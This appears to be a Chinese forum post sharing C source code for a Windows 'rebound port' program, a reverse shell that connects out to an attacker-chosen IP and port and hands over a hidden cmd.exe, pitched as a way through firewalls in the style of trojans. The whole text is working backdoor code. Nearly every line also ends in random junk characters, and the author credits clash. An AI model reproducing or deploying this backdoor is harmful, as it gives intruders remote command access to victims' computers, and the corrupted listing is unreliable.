这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'I($IM
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/* ============================== ]G1{@r)
Rebound port in Windows NT apF!@O^}y
By wind,2006/7 zAC
===============================*/ 9'o!9_j
#include cE/7B'cR
#include "u Xl
<(6@l@J|6
#pragma comment(lib,"wsock32.lib") 699z@>$}
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void OutputShell(); = PcmJG]
SOCKET sClient; .UakO,"z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rhMsZ={M
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void main(int argc,char **argv) kCL)F\v"iT
{ T_\HU*\
WSADATA stWsaData; N)lzX X
int nRet; $@FD01h.t3
SOCKADDR_IN stSaiClient,stSaiServer; m/|>4~
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if(argc != 3) pM@|P,w {
{ |]RV[S3v
printf("Useage:\n\rRebound DestIP DestPort\n"); Y]{<IF:
return; v{i'o4
} !(*mcYA*W
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WSAStartup(MAKEWORD(2,2),&stWsaData); /[Vaf R!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P.gk'\<k
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stSaiClient.sin_family = AF_INET; Vg#s
stSaiClient.sin_port = htons(0); ] ^tor
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G`ZpFg0Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8U/q3@EC
{ V=VL@=
printf("Bind Socket Failed!\n"); k.rP}76
return; H;k;%Zg;
} QN9$n%Z
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stSaiServer.sin_family = AF_INET; miCt)Qd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MxuwEV|^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ik+qx~+`Qv
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4-eb&
{ gAhCNOp
printf("Connect Error!"); %RL\t5TV
return; Nm--h$G
} _J6|ju\
OutputShell(); HelC_%#^
} Mlb=,l
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void OutputShell() [`_&d7{-4b
{ 6`]R)i]
char szBuff[1024]; v'a]SpE5
SECURITY_ATTRIBUTES stSecurityAttributes; |A8Ar 7)
OSVERSIONINFO stOsversionInfo; =
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O_nk8
STARTUPINFO stStartupInfo; @/lLLGrZ"
char *szShell; mn{8"@Z
PROCESS_INFORMATION stProcessInformation; f~jx2?W
unsigned long lBytesRead; u6'vzLmM
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ';+;
stSecurityAttributes.lpSecurityDescriptor = 0; nSz Fs(]f
stSecurityAttributes.bInheritHandle = TRUE; g(33h2"
^TyusfOz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _{8f^@I"+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sRE$*^i
];R5[%:5
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u'd+:uH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f62z9)`^
stStartupInfo.wShowWindow = SW_HIDE; mq[(yR
stStartupInfo.hStdInput = hReadPipe; WHBQA\4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ZFOYYht
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GetVersionEx(&stOsversionInfo); z tHGY
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switch(stOsversionInfo.dwPlatformId) Bg-C:Ok2'
{ =w?-R\
case 1: qRJg/~_h{
szShell = "command.com"; "z69jxXo
break; Q`7!~qV0=
default: {DI_i +2
szShell = "cmd.exe"; f?dNTfQ3mi
break; ":"QsS#*"#
} 'AF2:T\
#~Lh#@h
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rnIv|q6@
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send(sClient,szMsg,77,0); fNFdZ[qOd
while(1) H.7gSB 1
{ ?Gp~i]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eE>3=1d]w
if(lBytesRead) X@b$C~+
{ :t(gD8 ;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b)en/mz
send(sClient,szBuff,lBytesRead,0); jHT 4I>\
} YUF!Y9!
else R9o:{U]
{ }yLdU|'W
lBytesRead=recv(sClient,szBuff,1024,0); ; QR|v
if(lBytesRead<=0) break; prlnK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5u:+hB
} r4gkSwy
} blid* @-
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return; 1i_~ZzX8
}